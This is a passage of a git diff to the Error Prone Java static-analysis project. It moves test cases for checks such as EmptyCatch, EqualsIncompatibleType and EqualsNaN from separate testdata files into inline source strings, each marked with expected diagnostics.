compilationHelper.addSourceFile("testdata/DeadExceptionNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "DeadExceptionNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + public class DeadExceptionNegativeCases { + public void noError() { + Exception e = new RuntimeException("stored"); + e = new UnsupportedOperationException("also stored"); + throw new IllegalArgumentException("thrown"); + } + + public Exception returnsException() { + return new RuntimeException("returned"); + } + }""") + .doTest(); } /** @@ -46,6 +130,39 @@ public void negativeCase() { */ @Test public void negativeCaseWhenExceptionsUnthrownInTests() { - compilationHelper.addSourceFile("testdata/DeadExceptionTestingNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "DeadExceptionTestingNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import junit.framework.TestCase; + import org.junit.Test; + + /** + * @author alexeagle@google.com (Alex Eagle) + */ + public class DeadExceptionTestingNegativeCases extends TestCase { + + public void testShouldAllowTestingOfExceptionConstructorSideEffects() { + try { + new IllegalArgumentException((Throwable) null); + fail(); + } catch (NullPointerException e) { + // expected + } + } + + @Test + public void shouldAllowTestingOfExceptionConstructorSideEffects() { + try { + new IllegalArgumentException((Throwable) null); + fail(); + } catch (NullPointerException e) { + // expected + } + } + }""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/DepAnnTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/DepAnnTest.java index 81e9d440bb1..3c89147ad34 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/DepAnnTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/DepAnnTest.java @@ -34,7 +34,49 @@ public class DepAnnTest { public void positiveCase() { compilationHelper .setArgs(JAVACOPTS) - .addSourceFile("testdata/DepAnnPositiveCases.java") + .addSourceLines( + "DepAnnPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @deprecated + */ + // BUG: Diagnostic contains: @Deprecated + public class DepAnnPositiveCases { + + /** + * @deprecated + */ + // BUG: Diagnostic contains: @Deprecated + public DepAnnPositiveCases() {} + + /** + * @deprecated + */ + // BUG: Diagnostic contains: @Deprecated + int myField; + + /** + * @deprecated + */ + // BUG: Diagnostic contains: @Deprecated + enum Enum { + VALUE, + } + + /** + * @deprecated + */ + // BUG: Diagnostic contains: @Deprecated + interface Interface {} + + /** + * @deprecated + */ + // BUG: Diagnostic contains: @Deprecated + public void deprecatedMethood() {} + }""") .doTest(); } @@ -42,7 +84,62 @@ public void positiveCase() { public void negativeCase1() { compilationHelper .setArgs(JAVACOPTS) - .addSourceFile("testdata/DepAnnNegativeCase1.java") + .addSourceLines( + "DepAnnNegativeCase1.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @deprecated + */ + @Deprecated + public class DepAnnNegativeCase1 { + + /** + * @deprecated + */ + @Deprecated + public DepAnnNegativeCase1() {} + + /** + * @deprecated + */ + @Deprecated int myField; + + /** + * @deprecated + */ + @Deprecated + enum Enum { + VALUE, + } + + /** + * @deprecated + */ + @Deprecated + interface Interface {} + + /** + * @deprecated + */ + @Deprecated + public void deprecatedMethood() {} + + @Deprecated + public void deprecatedMethoodWithoutComment() {} + + /** deprecated */ + public void deprecatedMethodWithMalformedComment() {} + + /** + * @deprecated + */ + @SuppressWarnings("dep-ann") + public void suppressed() {} + + public void newMethod() {} + }""") .doTest(); } @@ -50,7 +147,35 @@ public void negativeCase1() { public void negativeCase2() { compilationHelper .setArgs(JAVACOPTS) - .addSourceFile("testdata/DepAnnNegativeCase2.java") + .addSourceLines( + "DepAnnNegativeCase2.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @deprecated + */ + @Deprecated + public class DepAnnNegativeCase2 { + + abstract class Builder2

{ + class SummaryRowKey

{} + + @Deprecated + /** + * @deprecated use {@link Selector.Builder#withSummary()} + */ + public abstract void withSummaryRowKeys(int summaryRowKeys); + + /** + * @deprecated use {@link Selector.Builder#withSummary()} + */ + @Deprecated + public abstract void m1(); + + public abstract void m2(); + } + }""") .doTest(); } @@ -59,7 +184,49 @@ public void disableable() { compilationHelper .setArgs(ImmutableList.of("-Xlint:-dep-ann", "-Xep:DepAnn:OFF")) .expectNoDiagnostics() - .addSourceFile("testdata/DepAnnPositiveCases.java") + .addSourceLines( + "DepAnnPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @deprecated + */ + // BUG: Diagnostic contains: @Deprecated + public class DepAnnPositiveCases { + + /** + * @deprecated + */ + // BUG: Diagnostic contains: @Deprecated + public DepAnnPositiveCases() {} + + /** + * @deprecated + */ + // BUG: Diagnostic contains: @Deprecated + int myField; + + /** + * @deprecated + */ + // BUG: Diagnostic contains: @Deprecated + enum Enum { + VALUE, + } + + /** + * @deprecated + */ + // BUG: Diagnostic contains: @Deprecated + interface Interface {} + + /** + * @deprecated + */ + // BUG: Diagnostic contains: @Deprecated + public void deprecatedMethood() {} + }""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/EmptyCatchTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/EmptyCatchTest.java index 0c2e0d1237d..0382293f9ca 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/EmptyCatchTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/EmptyCatchTest.java @@ -37,12 +37,164 @@ public void setUp() { @Test public void positiveCase() throws Exception { - compilationHelper.addSourceFile("testdata/EmptyCatchPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "EmptyCatchPositiveCases.java", + """ + package com.google.errorprone.bugpatterns; + + import static org.junit.Assert.fail; + + import org.junit.Test; + + /** + * @author yuan@ece.toronto.edu (Ding Yuan) + */ + public class EmptyCatchPositiveCases { + public void error() throws IllegalArgumentException { + throw new IllegalArgumentException("Fake exception."); + } + + public void catchIsCompleteEmpty() { + try { + error(); + } // BUG: Diagnostic contains: + catch (Throwable t) { + + } + } + + @Test + public void expectedException() { + try { + System.err.println(); + fail(); + // BUG: Diagnostic contains: + } catch (Exception expected) { + } + } + }""") + .doTest(); } @Test public void negativeCase() throws Exception { - compilationHelper.addSourceFile("testdata/EmptyCatchNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "EmptyCatchNegativeCases.java", + """ + package com.google.errorprone.bugpatterns; + + + import java.io.FileNotFoundException; + + /** + * @author yuan@ece.toronto.edu (Ding Yuan) + */ + public class EmptyCatchNegativeCases { + public void error() throws IllegalArgumentException { + throw new IllegalArgumentException("Fake exception."); + } + + public void harmlessError() throws FileNotFoundException { + throw new FileNotFoundException("harmless exception."); + } + + public void close() throws IllegalArgumentException { + // close() is an allowed method, so any exceptions + // thrown by this method can be ignored! + throw new IllegalArgumentException("Fake exception."); + } + + public void handledException() { + int a = 0; + try { + error(); + } catch (Exception e) { + a++; // handled here + } + } + + public void exceptionHandledByDataflow() { + int a = 0; + try { + error(); + a = 10; + } catch (Throwable t) { + /* Although the exception is ignored here, it is actually + * handled by the if check below. + */ + } + if (a != 10) { + System.out.println("Exception is handled here.."); + a++; + } + } + + public void exceptionHandledByControlFlow() { + try { + error(); + return; + } catch (Throwable t) { + /* Although the exception is ignored here, it is actually + * handled by the return statement in the try block. + */ + } + System.out.println("Exception is handled here.."); + } + + public void alreadyInCatch() { + try { + error(); + } catch (Throwable t) { + try { + error(); + } catch (Exception e) { + // Although e is ignored, it is OK b/c we're already + // in a nested catch block. + } + } + } + + public void harmlessException() { + try { + harmlessError(); + } catch (FileNotFoundException e) { + /* FileNotFoundException is a harmless exception and + * it is OK to ignore it. + */ + } + } + + public void exemptedMethod() { + try { + close(); + } catch (Exception e) { + // Although the exception is ignored, we can allow this b/c + // it is thrown by an exempted method. + } + } + + public void comment() { + int a = 0; // TODO + try { + error(); + // TODO + /* FIXME */ + } catch (Throwable t) { + // ignored + } + } + + public void catchIsLoggedOnly() { + try { + error(); + } catch (Throwable t) { + System.out.println("Caught an exception: " + t); + } + } + }""") + .doTest(); } @Test diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/EmptyIfStatementTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/EmptyIfStatementTest.java index 63156143bdb..0e6e1f3a66a 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/EmptyIfStatementTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/EmptyIfStatementTest.java @@ -32,11 +32,104 @@ public class EmptyIfStatementTest { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/EmptyIfStatementPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "EmptyIfStatementPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * Positive test cases for the empty if statement check. + * + * @author eaftan@google.com (Eddie Aftandilian) + */ + public class EmptyIfStatementPositiveCases { + + public static void positiveCase1() { + int i = 10; + // BUG: Diagnostic contains: if (i == 10) { + if (i == 10); { + i++; + } + } + + public static void positiveCase2() { + int i = 10; + // BUG: Diagnostic contains: if (i == 10) + if (i == 10); + i++; + System.out.println("foo"); + } + + public static void positiveCase3() { + int i = 10; + if (i == 10) + // BUG: Diagnostic contains: remove this line + ; + i++; + System.out.println("foo"); + } + + public static void positiveCase4() { + int i = 10; + // BUG: Diagnostic contains: remove this line + if (i == 10) ; + } + + public static void positiveCase5() { + int i = 10; + if (i == 10) + // BUG: Diagnostic contains: remove this line + ; + { + System.out.println("foo"); + } + } + }""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/EmptyIfStatementNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "EmptyIfStatementNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + /** + * @author eaftan@google.com (Eddie Aftandilian) + */ + public class EmptyIfStatementNegativeCases { + + // just a normal use of if + public static void negativeCase1() { + int i = 10; + if (i == 10) { + System.out.println("foo"); + } + i++; + } + + // empty then part but nonempty else + public static void negativeCase2() { + int i = 0; + if (i == 10) + ; + else System.out.println("not 10"); + } + + // multipart if with non-empty else + public static void negativeCase3() { + int i = 0; + if (i == 10) + ; + else if (i == 11) + ; + else if (i == 12) + ; + else System.out.println("not 10, 11, or 12"); + } + }""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/EqualsHashCodeTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/EqualsHashCodeTest.java index a911c6ad8df..20b823c8a4e 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/EqualsHashCodeTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/EqualsHashCodeTest.java @@ -30,12 +30,49 @@ public class EqualsHashCodeTest { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/EqualsHashCodeTestPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "EqualsHashCodeTestPositiveCases.java", + """ +public class EqualsHashCodeTestPositiveCases { + + public static class EqualsOnly { + // BUG: Diagnostic contains: Classes that override equals should also override hashCode + public boolean equals(Object o) { + return false; + } + } +}""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/EqualsHashCodeTestNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "EqualsHashCodeTestNegativeCases.java", + """ + public class EqualsHashCodeTestNegativeCases { + + public static class EqualsAndHashCode { + public boolean equals(Object o) { + return false; + } + + public int hashCode() { + return 42; + } + } + + public static class HashCodeOnly { + public int hashCode() { + return 42; + } + } + + public static class Neither {} + }""") + .doTest(); } @Test diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/EqualsIncompatibleTypeTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/EqualsIncompatibleTypeTest.java index 0dafe258531..75cb3095c06 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/EqualsIncompatibleTypeTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/EqualsIncompatibleTypeTest.java @@ -34,17 +34,501 @@ public class EqualsIncompatibleTypeTest { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/EqualsIncompatibleTypePositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "EqualsIncompatibleTypePositiveCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import com.google.common.collect.ImmutableList; +import java.util.List; +import java.util.Map; +import java.util.Set; + +/** + * @author avenet@google.com (Arnaud J. Venet) + */ +public class EqualsIncompatibleTypePositiveCases { + class A {} + + class B {} + + void checkEqualsAB(A a, B b) { + // BUG: Diagnostic contains: incompatible types + a.equals(b); + // BUG: Diagnostic contains: incompatible types + b.equals(a); + } + + class C {} + + abstract class C1 extends C { + public abstract boolean equals(Object o); + } + + abstract class C2 extends C1 {} + + abstract class C3 extends C {} + + void checkEqualsCC1C2C3(C c, C1 c1, C2 c2, C3 c3) { + // BUG: Diagnostic contains: incompatible types + c3.equals(c1); + // BUG: Diagnostic contains: incompatible types + c3.equals(c2); + // BUG: Diagnostic contains: incompatible types + c1.equals(c3); + // BUG: Diagnostic contains: incompatible types + c2.equals(c3); + } + + void checkStaticEqualsCC1C2C3(C c, C1 c1, C2 c2, C3 c3) { + // BUG: Diagnostic contains: incompatible types + java.util.Objects.equals(c3, c1); + // BUG: Diagnostic contains: incompatible types + java.util.Objects.equals(c3, c2); + // BUG: Diagnostic contains: incompatible types + java.util.Objects.equals(c1, c3); + // BUG: Diagnostic contains: incompatible types + java.util.Objects.equals(c2, c3); + } + + void checkGuavaStaticEqualsCC1C2C3(C c, C1 c1, C2 c2, C3 c3) { + // BUG: Diagnostic contains: incompatible types + com.google.common.base.Objects.equal(c3, c1); + // BUG: Diagnostic contains: incompatible types + com.google.common.base.Objects.equal(c3, c2); + // BUG: Diagnostic contains: incompatible types + com.google.common.base.Objects.equal(c1, c3); + // BUG: Diagnostic contains: incompatible types + com.google.common.base.Objects.equal(c2, c3); + } + + void checkPrimitiveEquals(int a, long b) { + // BUG: Diagnostic contains: incompatible types + java.util.Objects.equals(a, b); + // BUG: Diagnostic contains: incompatible types + java.util.Objects.equals(b, a); + // BUG: Diagnostic contains: incompatible types + com.google.common.base.Objects.equal(a, b); + // BUG: Diagnostic contains: incompatible types + com.google.common.base.Objects.equal(b, a); + } + + interface I { + boolean equals(Object o); + } + + class D {} + + class D1 extends D {} + + class D2 extends D implements I {} + + void checkEqualsDD1D2(D d, D1 d1, D2 d2) { + // BUG: Diagnostic contains: incompatible types + d1.equals(d2); + // BUG: Diagnostic contains: incompatible types + d2.equals(d1); + } + + enum MyEnum {} + + enum MyOtherEnum {} + + void enumEquals(MyEnum m, MyOtherEnum mm) { + // BUG: Diagnostic contains: incompatible types + m.equals(mm); + // BUG: Diagnostic contains: incompatible types + mm.equals(m); + + // BUG: Diagnostic contains: incompatible types + com.google.common.base.Objects.equal(m, mm); + // BUG: Diagnostic contains: incompatible types + com.google.common.base.Objects.equal(mm, m); + } + + void collectionsWithGenericMismatches( + List stringList, + List intList, + Set stringSet, + Set intSet, + ImmutableList stringImmutableList) { + + // BUG: Diagnostic contains: incompatible types + stringList.equals(intList); + + // BUG: Diagnostic contains: incompatible types + stringSet.equals(intSet); + + // BUG: Diagnostic contains: incompatible types + stringList.equals(stringSet); + + // BUG: Diagnostic contains: incompatible types + intList.equals(stringImmutableList); + } + + void mapKeyChecking( + Map stringIntegerMap, + Map integerStringMap, + Map, Set> stringListSetMap, + Map, Set> intListSetMap) { + // BUG: Diagnostic contains: incompatible types + stringIntegerMap.equals(integerStringMap); + + // BUG: Diagnostic contains: incompatible types + stringListSetMap.equals(intListSetMap); + } + + void nestedColls(Set> setListString, Set> setListInteger) { + // BUG: Diagnostic contains: String and Integer are incompatible + boolean equals = setListString.equals(setListInteger); + } + + class MyGenericClazz {} + + void testSomeGenerics( + MyGenericClazz strClazz, MyGenericClazz intClazz, MyGenericClazz iClazz) { + // BUG: Diagnostic contains: String and Integer are incompatible + strClazz.equals(intClazz); + + // BUG: Diagnostic contains: T and String are incompatible + iClazz.equals(strClazz); + } +}""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/EqualsIncompatibleTypeNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "EqualsIncompatibleTypeNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import com.google.common.collect.ImmutableList; + import com.google.common.collect.ImmutableSet; + import java.util.List; + import java.util.Set; + + /** + * @author avenet@google.com (Arnaud J. Venet) + */ + public class EqualsIncompatibleTypeNegativeCases { + class A { + public boolean equals(Object o) { + if (o instanceof A) { + return true; + } + return false; + } + } + + class B1 extends A {} + + class B2 extends A {} + + class B3 extends B2 {} + + void checkEqualsAB1B2B3(A a, B1 b1, B2 b2, B3 b3) { + a.equals(a); + a.equals(b1); + a.equals(b2); + a.equals(b3); + a.equals(null); + + b1.equals(a); + b1.equals(b1); + b1.equals(b2); + b1.equals(b3); + b1.equals(null); + + b2.equals(a); + b2.equals(b1); + b2.equals(b2); + b2.equals(b3); + b2.equals(null); + + b3.equals(a); + b3.equals(b1); + b3.equals(b2); + b3.equals(b3); + b3.equals(null); + } + + void checks(Object o, boolean[] bools, boolean bool) { + o.equals(bool); + o.equals(bools[0]); + } + + void checkJUnit(B1 b1, B2 b2) { + org.junit.Assert.assertFalse(b1.equals(b2)); + } + + void checkStaticEquals(A a, B1 b1, B2 b2, B3 b3) { + java.util.Objects.equals(a, a); + java.util.Objects.equals(a, b1); + java.util.Objects.equals(a, b2); + java.util.Objects.equals(a, b3); + java.util.Objects.equals(a, null); + + java.util.Objects.equals(b1, b3); + java.util.Objects.equals(b2, b3); + java.util.Objects.equals(b3, b3); + java.util.Objects.equals(null, b3); + } + + void checkGuavaStaticEquals(A a, B1 b1, B2 b2, B3 b3) { + com.google.common.base.Objects.equal(a, a); + com.google.common.base.Objects.equal(a, b1); + com.google.common.base.Objects.equal(a, b2); + com.google.common.base.Objects.equal(a, b3); + com.google.common.base.Objects.equal(a, null); + + com.google.common.base.Objects.equal(b1, b3); + com.google.common.base.Objects.equal(b2, b3); + com.google.common.base.Objects.equal(b3, b3); + com.google.common.base.Objects.equal(null, b3); + } + + class C {} + + abstract class C1 extends C { + public abstract boolean equals(Object o); + } + + abstract class C2 extends C1 {} + + abstract class C3 extends C1 {} + + void checkEqualsC1C2C3(C1 c1, C2 c2, C3 c3) { + c1.equals(c1); + c1.equals(c2); + c1.equals(c3); + c1.equals(null); + + c2.equals(c1); + c2.equals(c2); + c2.equals(c3); + c2.equals(null); + + c3.equals(c1); + c3.equals(c2); + c3.equals(c3); + c3.equals(null); + } + + interface I { + boolean equals(Object o); + } + + class E1 implements I {} + + class E2 implements I {} + + class E3 extends E2 {} + + void checkEqualsIE1E2E3( + I e, E1 e1, E2 e2, E3 e3, List eList, List e1List, List e2List) { + e.equals(e); + e.equals(e1); + e.equals(e2); + e.equals(e3); + e.equals(null); + + e1.equals(e); + e1.equals(e1); + e1.equals(e2); + e1.equals(e3); + e1.equals(null); + + e2.equals(e); + e2.equals(e1); + e2.equals(e2); + e2.equals(e3); + e2.equals(null); + + e3.equals(e); + e3.equals(e1); + e3.equals(e2); + e3.equals(e3); + e3.equals(null); + + eList.equals(e1List); + eList.equals(e2List); + eList.equals(null); + + e1List.equals(eList); + e1List.equals(e2List); + e1List.equals(null); + + e2List.equals(eList); + e2List.equals(e1List); + e2List.equals(null); + } + + void collectionStuff( + List rawList, + List stringList, + Set stringSet, + ImmutableSet immutableStringSet, + ImmutableList immutableStringList) { + + // With raw types, we can't be sure. So... /shrug + rawList.equals(stringList); + + stringSet.equals(immutableStringSet); + stringList.equals(immutableStringList); + } + + interface J {} + + class F1 implements J {} + + abstract class F2 { + public abstract boolean equals(J o); + } + + void checkOtherEquals(F1 f1, F2 f2) { + f2.equals(f1); + } + }""") + .doTest(); } @Test public void negativeCase_recursive() { - compilationHelper.addSourceFile("testdata/EqualsIncompatibleTypeRecursiveTypes.java").doTest(); + compilationHelper + .addSourceLines( + "EqualsIncompatibleTypeRecursiveTypes.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import java.time.DayOfWeek; +import java.time.Month; +import java.util.Objects; + +/** Checks for objects with recursive type bounds. */ +public class EqualsIncompatibleTypeRecursiveTypes { + + interface Bar {} + + final class ConcreteBar implements Bar {} + + static class Foo> implements Bar { + T field; + + void check(Foo other) { + // OK since Enum and Enum are not incompatible + this.field.equals(other.field); + } + + > void badCheck(Bar other) { + // BUG: Diagnostic contains: T and X are incompatible + this.equals(other); + } + } + + interface RandomInterface {} + + interface Entity< + E extends Entity, + K extends EntityKey, + V extends Enum, + V2 extends Enum> {} + + interface EntityKey> extends Comparable {} + + static final class EK1 implements EntityKey { + @Override + public int compareTo(EK1 o) { + return 0; + } + } + + static final class E1 implements Entity, RandomInterface {} + + static final class E2 implements Entity, RandomInterface {} + + void testMultilayer(Class> eClazz, Class e2Clazz) { + if (Objects.equals(eClazz, E1.class)) { + System.out.println("yay"); + } + + if (Objects.equals(eClazz, E2.class)) { + System.out.println("yay"); + } + + if (Objects.equals(e2Clazz, E2.class)) { + System.out.println("yay"); + } + + // BUG: Diagnostic contains: E2 and E1 are incompatible. + if (Objects.equals(e2Clazz, E1.class)) { + System.out.println("boo"); + } + } + + interface First> { + default A get() { + return null; + } + } + + interface Second extends First> {} + + interface Third extends Second {} + + interface Fourth extends Second {} + + void testing(Third third, Fourth fourth) { + // BUG: Diagnostic contains: Third and Fourth + boolean equals = third.equals(fourth); + } + + interface RecOne extends Comparable> {} + + interface RecTwo extends Comparable> {} + + void testMultiRecursion(RecOne a, RecTwo b) { + // BUG: Diagnostic contains: RecOne and RecTwo + boolean bad = a.equals(b); + } + + interface Quux> {} + + interface Quuz> extends Quux {} + + interface Quiz> extends Quux {} + + interface Id1 extends Quuz {} + + interface Id2 extends Quiz {} + + abstract static class Id3 implements Quuz, Quiz {} + + void test(Id1 first, Id3 second) { + // BUG: Diagnostic contains: Id1 and Id3 + boolean res = Objects.equals(first, second); + } + + class I {} + + class J, B extends I, C extends I> {} + + < + A1 extends I, + B1 extends I, + C1 extends I, + A2 extends I, + B2 extends I, + C2 extends I> + void something(J j1, J j2) { + // Technically this could work, since there's nothing stopping A1 == A2, etc. + boolean equals = j1.equals(j2); + } +}""") + .doTest(); } @Test diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/EqualsNaNTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/EqualsNaNTest.java index 53ae6331be8..9ed6d8061af 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/EqualsNaNTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/EqualsNaNTest.java @@ -32,11 +32,53 @@ public class EqualsNaNTest { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/EqualsNaNPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "EqualsNaNPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author lowasser@google.com (Louis Wasserman) + */ + public class EqualsNaNPositiveCases { + + // BUG: Diagnostic contains: Double.isNaN(0.0) + static final boolean ZERO_DOUBLE_NAN = 0.0 == Double.NaN; + + // BUG: Diagnostic contains: !Double.isNaN(1.0) + static final boolean ONE_NOT_DOUBLE_NAN = Double.NaN != 1.0; + + // BUG: Diagnostic contains: Float.isNaN(2.f) + static final boolean TWO_FLOAT_NAN = 2.f == Float.NaN; + + // BUG: Diagnostic contains: !Float.isNaN(3.0f) + static final boolean THREE_NOT_FLOAT_NAN = 3.0f != Float.NaN; + + // BUG: Diagnostic contains: Double.isNaN(Double.NaN) + static final boolean NAN_IS_NAN = Double.NaN == Double.NaN; + + // BUG: Diagnostic contains: Double.isNaN(123456) + static final boolean INT_IS_NAN = 123456 == Double.NaN; + }""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/EqualsNaNNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "EqualsNaNNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author lowasser@google.com (Louis Wasserman) + */ + public class EqualsNaNNegativeCases { + static final boolean NAN_AFTER_MATH = (0.0 / 0.0) == 1.0; + static final boolean NORMAL_COMPARISON = 1.0 == 2.0; + }""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/EqualsReferenceTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/EqualsReferenceTest.java index a19651ca060..cd7d42cae63 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/EqualsReferenceTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/EqualsReferenceTest.java @@ -31,11 +31,122 @@ public class EqualsReferenceTest { @Test public void positiveCases() { - compilationTestHelper.addSourceFile("testdata/EqualsReferencePositiveCases.java").doTest(); + compilationTestHelper + .addSourceLines( + "EqualsReferencePositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** Created by mariasam on 6/22/17. */ + public class EqualsReferencePositiveCases { + + @Override + // BUG: Diagnostic contains: == + public boolean equals(Object o) { + System.out.println(this.equals(o)); + return true; + } + + class EqualsInElse { + @Override + // BUG: Diagnostic contains: == + public boolean equals(Object o) { + System.out.println(o == this); + return this.equals(o); + } + } + + class FinalObject { + @Override + // BUG: Diagnostic contains: == + public boolean equals(final Object object) { + return this.equals(object); + } + } + + class NoThis { + @Override + // BUG: Diagnostic contains: == + public boolean equals(Object o) { + return equals(o); + } + } + }""") + .doTest(); } @Test public void negativeCases() { - compilationTestHelper.addSourceFile("testdata/EqualsReferenceNegativeCases.java").doTest(); + compilationTestHelper + .addSourceLines( + "EqualsReferenceNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** Created by mariasam on 6/23/17. */ + public class EqualsReferenceNegativeCases { + + @Override + public boolean equals(Object o) { + return (this == o); + } + + class OtherEquals { + @Override + public boolean equals(Object o) { + if (o.equals("hi")) { + return true; + } else { + return o == this; + } + } + } + + class EqualsThisLast { + @Override + public boolean equals(Object o) { + if (o instanceof EqualsThisLast) { + return true; + } + return o.equals(this); + } + } + + class Foo { + @Override + public boolean equals(Object o) { + return o instanceof Foo && this.equals((Foo) o); + } + + public boolean equals(Foo o) { + return true; + } + } + + class OtherEqualsMethod { + @Override + public boolean equals(Object o) { + return equals((String) o); + } + + public boolean equals(String o) { + return true; + } + } + + class CodeBase { + public CodeBase(Object o) {} + + public boolean equals(Object obj) { + CodeBase other = (CodeBase) obj; + return equals(new CodeBase(other.getValue())); + } + + public Object getValue() { + return null; + } + } + }""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/ErroneousThreadPoolConstructorCheckerTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/ErroneousThreadPoolConstructorCheckerTest.java index 0a42e604775..bb1fefe98c7 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/ErroneousThreadPoolConstructorCheckerTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/ErroneousThreadPoolConstructorCheckerTest.java @@ -36,14 +36,186 @@ public class ErroneousThreadPoolConstructorCheckerTest { @Test public void positiveCases() { compilationHelper - .addSourceFile("testdata/ErroneousThreadPoolConstructorCheckerPositiveCases.java") + .addSourceLines( + "ErroneousThreadPoolConstructorCheckerPositiveCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import static java.util.Comparator.comparingInt; +import static java.util.concurrent.TimeUnit.SECONDS; + +import java.util.Collection; +import java.util.concurrent.LinkedBlockingDeque; +import java.util.concurrent.LinkedBlockingQueue; +import java.util.concurrent.LinkedTransferQueue; +import java.util.concurrent.PriorityBlockingQueue; +import java.util.concurrent.ThreadPoolExecutor; + +/** + * Positive test cases for {@link + * com.google.errorprone.bugpatterns.ErroneousThreadPoolConstructorChecker} bug pattern. + */ +final class ErroneousThreadPoolConstructorCheckerPositiveCases { + + private static final int CORE_POOL_SIZE = 10; + private static final int MAXIMUM_POOL_SIZE = 20; + private static final long KEEP_ALIVE_TIME = 60; + + private void createThreadPoolWithUnboundedLinkedBlockingQueue(Collection initialTasks) { + // BUG: Diagnostic contains: ErroneousThreadPoolConstructorChecker + new ThreadPoolExecutor( + CORE_POOL_SIZE, MAXIMUM_POOL_SIZE, KEEP_ALIVE_TIME, SECONDS, new LinkedBlockingQueue<>()); + // BUG: Diagnostic contains: ErroneousThreadPoolConstructorChecker + new ThreadPoolExecutor( + CORE_POOL_SIZE, + MAXIMUM_POOL_SIZE, + KEEP_ALIVE_TIME, + SECONDS, + new LinkedBlockingQueue<>(initialTasks)); + } + + private void createThreadPoolWithUnboundedLinkedBlockingDeque(Collection initialTasks) { + // BUG: Diagnostic contains: ErroneousThreadPoolConstructorChecker + new ThreadPoolExecutor( + CORE_POOL_SIZE, MAXIMUM_POOL_SIZE, KEEP_ALIVE_TIME, SECONDS, new LinkedBlockingDeque<>()); + // BUG: Diagnostic contains: ErroneousThreadPoolConstructorChecker + new ThreadPoolExecutor( + CORE_POOL_SIZE, + MAXIMUM_POOL_SIZE, + KEEP_ALIVE_TIME, + SECONDS, + new LinkedBlockingDeque<>(initialTasks)); + } + + private void createThreadPoolWithUnboundedLinkedTransferQueue(Collection initialTasks) { + // BUG: Diagnostic contains: ErroneousThreadPoolConstructorChecker + new ThreadPoolExecutor( + CORE_POOL_SIZE, MAXIMUM_POOL_SIZE, KEEP_ALIVE_TIME, SECONDS, new LinkedTransferQueue<>()); + // BUG: Diagnostic contains: ErroneousThreadPoolConstructorChecker + new ThreadPoolExecutor( + CORE_POOL_SIZE, + MAXIMUM_POOL_SIZE, + KEEP_ALIVE_TIME, + SECONDS, + new LinkedTransferQueue<>(initialTasks)); + } + + private void createThreadPoolWithUnboundedPriorityBlockingQueue( + int initialCapacity, Collection initialTasks) { + // BUG: Diagnostic contains: ErroneousThreadPoolConstructorChecker + new ThreadPoolExecutor( + CORE_POOL_SIZE, 